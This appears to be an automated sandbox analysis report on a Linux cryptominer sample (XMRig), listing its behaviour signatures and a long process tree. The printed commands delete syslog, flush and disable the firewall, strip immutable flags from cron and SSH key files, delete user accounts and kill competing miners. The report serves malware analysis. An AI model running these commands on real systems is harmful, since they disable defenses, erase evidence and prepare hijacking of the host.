Analysis
-
max time kernel
147s -
max time network
153s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
13-06-2024 13:19
Static task
static1
Behavioral task
behavioral1
Sample
a5be8ebe306dea8f54e8fb5d1316b88f_JaffaCakes118
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
a5be8ebe306dea8f54e8fb5d1316b88f_JaffaCakes118
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
a5be8ebe306dea8f54e8fb5d1316b88f_JaffaCakes118
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
a5be8ebe306dea8f54e8fb5d1316b88f_JaffaCakes118
Resource
debian9-mipsel-20240226-en
General
-
Target
a5be8ebe306dea8f54e8fb5d1316b88f_JaffaCakes118
-
Size
28KB
-
MD5
a5be8ebe306dea8f54e8fb5d1316b88f
-
SHA1
b5ae0c8138b3a8127be0932988ba3f5a9829a708
-
SHA256
e8d5d1f3618577856980cce60fa603f5fe00f73b856a7208e126807b6b35e0cb
-
SHA512
8f5d7cc0f01bce2a435e1f87e4766b583f553cbd3b7f299e20503d8ce2450b73d0045c853ce68691d554c8df9d92016c33be1eb67e3f41330ee8dbd2aaef20c1
-
SSDEEP
384:p7pQQwQHDf6jlpTWg3vMGQiKMvU/4Qdre21jT58vKpG2Y0orcfKLUv0KZnNEVdeM:p7JVFNcD8FLcIwgiYq0xFBa5
Malware Config
Signatures
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Deletes system logs 1 TTPs 1 IoCs
Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.
description ioc Process File deleted /var/log/syslog rm -
Flushes firewall rules 3 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
pid Process 1470 ufw 1657 iptables 2982 Process not Found -
ioc pid Process /lib/modules/4.15.0-213-generic/kernel/net/ipv6/netfilter/ip6_tables.ko 1478 modprobe -
Attempts to change immutable files 64 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
pid Process 2440 xargs 2534 Process not Found 1526 iptables 1766 xargs 1990 xargs 2189 xargs 2217 xargs 2137 xargs 2385 xargs 2554 Process not Found 2872 Process not Found 1468 chattr 2612 Process not Found 1537 iptables 1538 iptables 2184 xargs 1494 iptables 1706 xargs 2127 xargs 2530 Process not Found 2944 Process not Found 1920 xargs 2034 xargs 2227 xargs 2297 xargs 2880 Process not Found 1599 ip6tables 1683 xargs 2450 xargs 2896 Process not Found 1718 xargs 2303 xargs 2395 xargs 2566 Process not Found 2538 Process not Found 1469 chattr 1826 xargs 2252 xargs 2279 xargs 2522 xargs 1671 chattr 1831 xargs 2080 xargs 2614 Process not Found 1497 iptables 2020 xargs 2267 xargs 2320 xargs 2568 Process not Found 1790 xargs 1910 xargs 2273 xargs 2518 xargs 1619 ip6tables 1985 xargs 2544 Process not Found 2592 Process not Found 3013 Process not Found 1648 ip6tables 2112 xargs 2194 xargs 2498 xargs 2610 Process not Found 2232 xargs -
Disables AppArmor 28 IoCs
Disables AppArmor security module.
pid Process 2958 Process not Found 2983 Process not Found 2992 Process not Found 2987 Process not Found 2987 Process not Found 2958 Process not Found 2974 Process not Found 2983 Process not Found 2987 Process not Found 2978 Process not Found 2983 Process not Found 2983 Process not Found 2997 Process not Found 2987 Process not Found 2958 Process not Found 2978 Process not Found 2978 Process not Found 2978 Process not Found 3003 Process not Found 2958 Process not Found 2978 Process not Found 2978 Process not Found 2983 Process not Found 2983 Process not Found 2958 Process not Found 2958 Process not Found 2987 Process not Found 2987 Process not Found -
Disables SELinux 1 IoCs
Disables SELinux security module.
pid Process 2957 Process not Found -
Enumerates running processes
Discovers information about currently running processes on the system
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 10 bitbucket.org 11 bitbucket.org -
Changes its process name 1 IoCs
description ioc pid Changes the process name, possibly in an attempt to hide itself (sysv-install) 2975 -
Reads CPU attributes 1 TTPs 64 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps -
Enumerates kernel/hardware configuration 1 TTPs 2 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/module/ip6_tables/initstate modprobe File opened for reading /sys/module/x_tables/initstate modprobe -
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
description ioc Process File opened for reading /proc/665/cmdline Process not Found File opened for reading /proc/159/status Process not Found File opened for reading /proc/486/status ps File opened for reading /proc/1195/cmdline ps File opened for reading /proc/481/cmdline ps File opened for reading /proc/30/status Process not Found File opened for reading /proc/8/stat ps File opened for reading /proc/27/status Process not Found File opened for reading /proc/166/cmdline Process not Found File opened for reading /proc/4/stat ps File opened for reading /proc/7/status ps File opened for reading /proc/1116/cmdline Process not Found File opened for reading /proc/423/cmdline Process not Found File opened for reading /proc/1148/cmdline Process not Found File opened for reading /proc/955/cmdline ps File opened for reading /proc/26/stat ps File opened for reading /proc/161/cmdline ps File opened for reading /proc/446/status ps File opened for reading /proc/161/status Process not Found File opened for reading /proc/1148/cmdline Process not Found File opened for reading /proc/904/cmdline Process not Found File opened for reading /proc/457/status Process not Found File opened for reading /proc/5/cmdline ps File opened for reading /proc/197/stat ps File opened for reading /proc/24/cmdline Process not Found File opened for reading /proc/1089/stat ps File opened for reading /proc/8/cmdline ps File opened for reading /proc/660/status ps File opened for reading /proc/1471/stat ps File opened for reading /proc/163/status Process not Found File opened for reading /proc/1042/stat ps File opened for reading /proc/500/status Process not Found File opened for reading /proc/78/status ps File opened for reading /proc/163/status Process not Found File opened for reading /proc/1070/status ps File opened for reading /proc/158/stat ps File opened for reading /proc/29/status ps File opened for reading /proc/1162/status ps File opened for reading /proc/944/status ps File opened for reading /proc/1233/stat ps File opened for reading /proc/417/cmdline Process not Found File opened for reading /proc/904/cmdline ps File opened for reading /proc/15/status Process not Found File opened for reading /proc/1176/cmdline Process not Found File opened for reading /proc/1459/cmdline Process not Found File opened for reading /proc/1089/status ps File opened for reading /proc/246/cmdline ps File opened for reading /proc/1129/status ps File opened for reading /proc/18/cmdline Process not Found File opened for reading /proc/439/stat ps File opened for reading /proc/481/status Process not Found File opened for reading /proc/1148/cmdline Process not Found File opened for reading /proc/26/status Process not Found File opened for reading /proc/1079/status ps File opened for reading /proc/1248/cmdline Process not Found File opened for reading /proc/1059/status Process not Found File opened for reading /proc/1133/stat ps File opened for reading /proc/1166/cmdline ps File opened for reading /proc/4/stat ps File opened for reading /proc/21/cmdline ps File opened for reading /proc/1147/status ps File opened for reading /proc/2/cmdline pgrep File opened for reading /proc/16/status Process not Found File opened for reading /proc/170/status ps -
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/log_rot a5be8ebe306dea8f54e8fb5d1316b88f_JaffaCakes118
Processes
-
/tmp/a5be8ebe306dea8f54e8fb5d1316b88f_JaffaCakes118/tmp/a5be8ebe306dea8f54e8fb5d1316b88f_JaffaCakes1181⤵
- Writes file to tmp directory
PID:1464 -
/bin/rmrm -rf /var/log/syslog2⤵
- Deletes system logs
PID:1465
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵PID:1466
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵PID:1467
-
-
/usr/bin/chattrchattr -R -i /var/spool/cron2⤵
- Attempts to change immutable files
PID:1468
-
-
/usr/bin/chattrchattr -i /etc/crontab2⤵
- Attempts to change immutable files
PID:1469
-
-
/usr/sbin/ufwufw disable2⤵
- Flushes firewall rules
PID:1470 -
/sbin/iptables/sbin/iptables -V3⤵PID:1474
-
-
/lib/ufw/ufw-init/lib/ufw/ufw-init force-stop3⤵PID:1475
-
/sbin/ip6tablesip6tables -L INPUT -n4⤵PID:1476
-
/sbin/modprobe/sbin/modprobe ip6_tables5⤵
- Loads a kernel module
- Enumerates kernel/hardware configuration
PID:1478
-
-
-
/sbin/iptablesiptables -F ufw-logging-deny4⤵PID:1484
-
-
/sbin/iptablesiptables -F ufw-logging-allow4⤵PID:1487
-
-
/sbin/iptablesiptables -F ufw-not-local4⤵PID:1488
-
-
/sbin/iptablesiptables -F ufw-user-logging-input4⤵PID:1489
-
-
/sbin/iptablesiptables -F ufw-user-limit-accept4⤵PID:1490
-
-
/sbin/iptablesiptables -F ufw-user-limit4⤵PID:1491
-
-
/sbin/iptablesiptables -F ufw-skip-to-policy-input4⤵PID:1492
-
-
/sbin/iptablesiptables -F ufw-reject-input4⤵PID:1493
-
-
/sbin/iptablesiptables -F ufw-after-logging-input4⤵
- Attempts to change immutable files
PID:1494
-
-
/sbin/iptablesiptables -F ufw-after-input4⤵PID:1495
-
-
/sbin/iptablesiptables -F ufw-user-input4⤵PID:1496
-
-
/sbin/iptablesiptables -F ufw-before-input4⤵
- Attempts to change immutable files
PID:1497
-
-
/sbin/iptablesiptables -F ufw-before-logging-input4⤵PID:1498
-
-
/sbin/iptablesiptables -F ufw-skip-to-policy-forward4⤵PID:1499
-
-
/sbin/iptablesiptables -F ufw-reject-forward4⤵PID:1500
-
-
/sbin/iptablesiptables -F ufw-after-logging-forward4⤵PID:1501
-
-
/sbin/iptablesiptables -F ufw-after-forward4⤵PID:1502
-
-
/sbin/iptablesiptables -F ufw-user-logging-forward4⤵PID:1503
-
-
/sbin/iptablesiptables -F ufw-user-forward4⤵PID:1504
-
-
/sbin/iptablesiptables -F ufw-before-forward4⤵PID:1505
-
-
/sbin/iptablesiptables -F ufw-before-logging-forward4⤵PID:1506
-
-
/sbin/iptablesiptables -F ufw-track-forward4⤵PID:1507
-
-
/sbin/iptablesiptables -F ufw-track-output4⤵PID:1508
-
-
/sbin/iptablesiptables -F ufw-track-input4⤵PID:1509
-
-
/sbin/iptablesiptables -F ufw-skip-to-policy-output4⤵PID:1510
-
-
/sbin/iptablesiptables -F ufw-reject-output4⤵PID:1511
-
-
/sbin/iptablesiptables -F ufw-after-logging-output4⤵PID:1514
-
-
/sbin/iptablesiptables -F ufw-after-output4⤵PID:1515
-
-
/sbin/iptablesiptables -F ufw-user-logging-output4⤵PID:1516
-
-
/sbin/iptablesiptables -F ufw-user-output4⤵PID:1518
-
-
/sbin/iptablesiptables -F ufw-before-output4⤵PID:1519
-
-
/sbin/iptablesiptables -F ufw-before-logging-output4⤵PID:1520
-
-
/sbin/iptablesiptables -Z ufw-logging-deny4⤵PID:1521
-
-
/sbin/iptablesiptables -Z ufw-logging-allow4⤵PID:1522
-
-
/sbin/iptablesiptables -Z ufw-not-local4⤵PID:1523
-
-
/sbin/iptablesiptables -Z ufw-user-logging-input4⤵
- Attempts to change immutable files
PID:1526
-
-
/sbin/iptablesiptables -Z ufw-user-limit-accept4⤵PID:1527
-
-
/sbin/iptablesiptables -Z ufw-user-limit4⤵PID:1532
-
-
/sbin/iptablesiptables -Z ufw-skip-to-policy-input4⤵PID:1533
-
-
/sbin/iptablesiptables -Z ufw-reject-input4⤵PID:1534
-
-
/sbin/iptablesiptables -Z ufw-after-logging-input4⤵PID:1535
-
-
/sbin/iptablesiptables -Z ufw-after-input4⤵PID:1536
-
-
/sbin/iptablesiptables -Z ufw-user-input4⤵
- Attempts to change immutable files
PID:1537
-
-
/sbin/iptablesiptables -Z ufw-before-input4⤵
- Attempts to change immutable files
PID:1538
-
-
/sbin/iptablesiptables -Z ufw-before-logging-input4⤵PID:1539
-
-
/sbin/iptablesiptables -Z ufw-skip-to-policy-forward4⤵PID:1540
-
-
/sbin/iptablesiptables -Z ufw-reject-forward4⤵PID:1541
-
-
/sbin/iptablesiptables -Z ufw-after-logging-forward4⤵PID:1542
-
-
/sbin/iptablesiptables -Z ufw-after-forward4⤵PID:1543
-
-
/sbin/iptablesiptables -Z ufw-user-logging-forward4⤵PID:1544
-
-
/sbin/iptablesiptables -Z ufw-user-forward4⤵PID:1545
-
-
/sbin/iptablesiptables -Z ufw-before-forward4⤵PID:1546
-
-
/sbin/iptablesiptables -Z ufw-before-logging-forward4⤵PID:1547
-
-
/sbin/iptablesiptables -Z ufw-track-forward4⤵PID:1548
-
-
/sbin/iptablesiptables -Z ufw-track-output4⤵PID:1549
-
-
/sbin/iptablesiptables -Z ufw-track-input4⤵PID:1550
-
-
/sbin/iptablesiptables -Z ufw-skip-to-policy-output4⤵PID:1551
-
-
/sbin/iptablesiptables -Z ufw-reject-output4⤵PID:1552
-
-
/sbin/iptablesiptables -Z ufw-after-logging-output4⤵PID:1553
-
-
/sbin/iptablesiptables -Z ufw-after-output4⤵PID:1554
-
-
/sbin/iptablesiptables -Z ufw-user-logging-output4⤵PID:1555
-
-
/sbin/iptablesiptables -Z ufw-user-output4⤵PID:1556
-
-
/sbin/iptablesiptables -Z ufw-before-output4⤵PID:1557
-
-
/sbin/iptablesiptables -Z ufw-before-logging-output4⤵PID:1558
-
-
/sbin/iptablesiptables -X ufw-logging-deny4⤵PID:1559
-
-
/sbin/iptablesiptables -X ufw-logging-allow4⤵PID:1560
-
-
/sbin/iptablesiptables -X ufw-not-local4⤵PID:1561
-
-
/sbin/iptablesiptables -X ufw-user-logging-input4⤵PID:1562
-
-
/sbin/iptablesiptables -X ufw-user-logging-output4⤵PID:1563
-
-
/sbin/iptablesiptables -X ufw-user-logging-forward4⤵PID:1564
-
-
/sbin/iptablesiptables -X ufw-user-limit-accept4⤵PID:1565
-
-
/sbin/iptablesiptables -X ufw-user-limit4⤵PID:1566
-
-
/sbin/iptablesiptables -X ufw-user-input4⤵PID:1567
-
-
/sbin/iptablesiptables -X ufw-user-forward4⤵PID:1568
-
-
/sbin/iptablesiptables -X ufw-user-output4⤵PID:1569
-
-
/sbin/iptablesiptables -X ufw-skip-to-policy-input4⤵PID:1570
-
-
/sbin/iptablesiptables -X ufw-skip-to-policy-output4⤵PID:1571
-
-
/sbin/iptablesiptables -X ufw-skip-to-policy-forward4⤵PID:1572
-
-
/sbin/iptablesiptables -P INPUT ACCEPT4⤵PID:1573
-
-
/sbin/iptablesiptables -P OUTPUT ACCEPT4⤵PID:1574
-
-
/sbin/iptablesiptables -P FORWARD ACCEPT4⤵PID:1575
-
-
/sbin/ip6tablesip6tables -F ufw6-logging-deny4⤵PID:1576
-
-
/sbin/ip6tablesip6tables -F ufw6-logging-allow4⤵PID:1577
-
-
/sbin/ip6tablesip6tables -F ufw6-not-local4⤵PID:1578
-
-
/sbin/ip6tablesip6tables -F ufw6-user-logging-input4⤵PID:1579
-
-
/sbin/ip6tablesip6tables -F ufw6-user-limit-accept4⤵PID:1580
-
-
/sbin/ip6tablesip6tables -F ufw6-user-limit4⤵PID:1581
-
-
/sbin/ip6tablesip6tables -F ufw6-skip-to-policy-input4⤵PID:1582
-
-
/sbin/ip6tablesip6tables -F ufw6-reject-input4⤵PID:1583
-
-
/sbin/ip6tablesip6tables -F ufw6-after-logging-input4⤵PID:1584
-
-
/sbin/ip6tablesip6tables -F ufw6-after-input4⤵PID:1585
-
-
/sbin/ip6tablesip6tables -F ufw6-user-input4⤵PID:1586
-
-
/sbin/ip6tablesip6tables -F ufw6-before-input4⤵PID:1587
-
-
/sbin/ip6tablesip6tables -F ufw6-before-logging-input4⤵PID:1588
-
-
/sbin/ip6tablesip6tables -F ufw6-skip-to-policy-forward4⤵PID:1589
-
-
/sbin/ip6tablesip6tables -F ufw6-reject-forward4⤵PID:1590
-
-
/sbin/ip6tablesip6tables -F ufw6-after-logging-forward4⤵PID:1591
-
-
/sbin/ip6tablesip6tables -F ufw6-after-forward4⤵PID:1592
-
-
/sbin/ip6tablesip6tables -F ufw6-user-logging-forward4⤵PID:1593
-
-
/sbin/ip6tablesip6tables -F ufw6-user-forward4⤵PID:1594
-
-
/sbin/ip6tablesip6tables -F ufw6-before-forward4⤵PID:1595
-
-
/sbin/ip6tablesip6tables -F ufw6-before-logging-forward4⤵PID:1596
-
-
/sbin/ip6tablesip6tables -F ufw6-track-forward4⤵PID:1597
-
-
/sbin/ip6tablesip6tables -F ufw6-track-output4⤵PID:1598
-
-
/sbin/ip6tablesip6tables -F ufw6-track-input4⤵
- Attempts to change immutable files
PID:1599
-
-
/sbin/ip6tablesip6tables -F ufw6-skip-to-policy-output4⤵PID:1600
-
-
/sbin/ip6tablesip6tables -F ufw6-reject-output4⤵PID:1601
-
-
/sbin/ip6tablesip6tables -F ufw6-after-logging-output4⤵PID:1602
-
-
/sbin/ip6tablesip6tables -F ufw6-after-output4⤵PID:1603
-
-
/sbin/ip6tablesip6tables -F ufw6-user-logging-output4⤵PID:1604
-
-
/sbin/ip6tablesip6tables -F ufw6-user-output4⤵PID:1605
-
-
/sbin/ip6tablesip6tables -F ufw6-before-output4⤵PID:1606
-
-
/sbin/ip6tablesip6tables -F ufw6-before-logging-output4⤵PID:1607
-
-
/sbin/ip6tablesip6tables -Z ufw6-logging-deny4⤵PID:1608
-
-
/sbin/ip6tablesip6tables -Z ufw6-logging-allow4⤵PID:1609
-
-
/sbin/ip6tablesip6tables -Z ufw6-not-local4⤵PID:1610
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-logging-input4⤵PID:1611
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-limit-accept4⤵PID:1612
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-limit4⤵PID:1613
-
-
/sbin/ip6tablesip6tables -Z ufw6-skip-to-policy-input4⤵PID:1614
-
-
/sbin/ip6tablesip6tables -Z ufw6-reject-input4⤵PID:1615
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-logging-input4⤵PID:1616
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-input4⤵PID:1617
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-input4⤵PID:1618
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-input4⤵
- Attempts to change immutable files
PID:1619
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-logging-input4⤵PID:1620
-
-
/sbin/ip6tablesip6tables -Z ufw6-skip-to-policy-forward4⤵PID:1621
-
-
/sbin/ip6tablesip6tables -Z ufw6-reject-forward4⤵PID:1622
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-logging-forward4⤵PID:1623
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-forward4⤵PID:1624
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-logging-forward4⤵PID:1625
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-forward4⤵PID:1626
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-forward4⤵PID:1627
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-logging-forward4⤵PID:1628
-
-
/sbin/ip6tablesip6tables -Z ufw6-track-forward4⤵PID:1629
-
-
/sbin/ip6tablesip6tables -Z ufw6-track-output4⤵PID:1630
-
-
/sbin/ip6tablesip6tables -Z ufw6-track-input4⤵PID:1631
-
-
/sbin/ip6tablesip6tables -Z ufw6-skip-to-policy-output4⤵PID:1632
-
-
/sbin/ip6tablesip6tables -Z ufw6-reject-output4⤵PID:1633
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-logging-output4⤵PID:1634
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-output4⤵PID:1635
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-logging-output4⤵PID:1636
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-output4⤵PID:1637
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-output4⤵PID:1638
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-logging-output4⤵PID:1639
-
-
/sbin/ip6tablesip6tables -X ufw6-logging-deny4⤵PID:1640
-
-
/sbin/ip6tablesip6tables -X ufw6-logging-allow4⤵PID:1641
-
-
/sbin/ip6tablesip6tables -X ufw6-not-local4⤵PID:1642
-
-
/sbin/ip6tablesip6tables -X ufw6-user-logging-input4⤵PID:1643
-
-
/sbin/ip6tablesip6tables -X ufw6-user-logging-output4⤵PID:1644
-
-
/sbin/ip6tablesip6tables -X ufw6-user-logging-forward4⤵PID:1645
-
-
/sbin/ip6tablesip6tables -X ufw6-user-limit-accept4⤵PID:1646
-
-
/sbin/ip6tablesip6tables -X ufw6-user-limit4⤵PID:1647
-
-
/sbin/ip6tablesip6tables -X ufw6-user-input4⤵
- Attempts to change immutable files
PID:1648
-
-
/sbin/ip6tablesip6tables -X ufw6-user-forward4⤵PID:1649
-
-
/sbin/ip6tablesip6tables -X ufw6-user-output4⤵PID:1650
-
-
/sbin/ip6tablesip6tables -X ufw6-skip-to-policy-input4⤵PID:1651
-
-
/sbin/ip6tablesip6tables -X ufw6-skip-to-policy-output4⤵PID:1652
-
-
/sbin/ip6tablesip6tables -X ufw6-skip-to-policy-forward4⤵PID:1653
-
-
/sbin/ip6tablesip6tables -P INPUT ACCEPT4⤵PID:1654
-
-
/sbin/ip6tablesip6tables -P OUTPUT ACCEPT4⤵PID:1655
-
-
/sbin/ip6tablesip6tables -P FORWARD ACCEPT4⤵PID:1656
-
-
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:1657
-
-
/usr/bin/sudosudo sysctl "kernel.nmi_watchdog=0"2⤵PID:1658
-
-
/usr/sbin/userdeluserdel akay2⤵PID:1661
-
-
/usr/sbin/userdeluserdel vfinder2⤵PID:1666
-
-
/usr/bin/chattrchattr -iae /root/.ssh/2⤵PID:1667
-
-
/usr/bin/chattrchattr -iae /root/.ssh/authorized_keys2⤵
- Attempts to change immutable files
PID:1671
-
-
/bin/rmrm -rf "/tmp/addres*"2⤵PID:1672
-
-
/bin/rmrm -rf "/tmp/walle*"2⤵PID:1673
-
-
/bin/rmrm -rf /tmp/keys2⤵PID:1674
-
-
/bin/grepgrep -i "[a]liyun"2⤵PID:1676
-
-
/bin/psps aux2⤵PID:1675
-
-
/bin/grepgrep -i "[y]unjing"2⤵PID:1678
-
-
/bin/psps aux2⤵PID:1677
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1683
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1682
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1681
-
-
/bin/grepgrep 185.71.65.2382⤵PID:1680
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1688
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1687
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1686
-
-
/bin/grepgrep 140.82.52.872⤵PID:1685
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1694
-
-
/bin/grepgrep -v -2⤵PID:1693
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1692
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1691
-
-
/bin/grepgrep :4432⤵PID:1690
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1700
-
-
/bin/grepgrep -v -2⤵PID:1699
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1698
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1697
-
-
/bin/grepgrep :232⤵PID:1696
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1706
-
-
/bin/grepgrep -v -2⤵PID:1705
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1704
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1703
-
-
/bin/grepgrep :4432⤵PID:1702
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1712
-
-
/bin/grepgrep -v -2⤵PID:1711
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1710
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1709
-
-
/bin/grepgrep :1432⤵PID:1708
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1718
-
-
/bin/grepgrep -v -2⤵PID:1717
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1716
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1715
-
-
/bin/grepgrep :22222⤵PID:1714
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1724
-
-
/bin/grepgrep -v -2⤵PID:1723
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1722
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1721
-
-
/bin/grepgrep :33332⤵PID:1720
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1730
-
-
/bin/grepgrep -v -2⤵PID:1729
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1728
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1727
-
-
/bin/grepgrep :33892⤵PID:1726
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1736
-
-
/bin/grepgrep -v -2⤵PID:1735
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1734
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1733
-
-
/bin/grepgrep :44442⤵PID:1732
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1742
-
-
/bin/grepgrep -v -2⤵PID:1741
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1740
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1739
-
-
/bin/grepgrep :55552⤵PID:1738
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1748
-
-
/bin/grepgrep -v -2⤵PID:1747
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1746
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1745
-
-
/bin/grepgrep :66662⤵PID:1744
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1754
-
-
/bin/grepgrep -v -2⤵PID:1753
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1752
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1751
-
-
/bin/grepgrep :66652⤵PID:1750
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1760
-
-
/bin/grepgrep -v -2⤵PID:1759
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1758
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1757
-
-
/bin/grepgrep :66672⤵PID:1756
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1766
-
-
/bin/grepgrep -v -2⤵PID:1765
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1764
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1763
-
-
/bin/grepgrep :77772⤵PID:1762
-
-
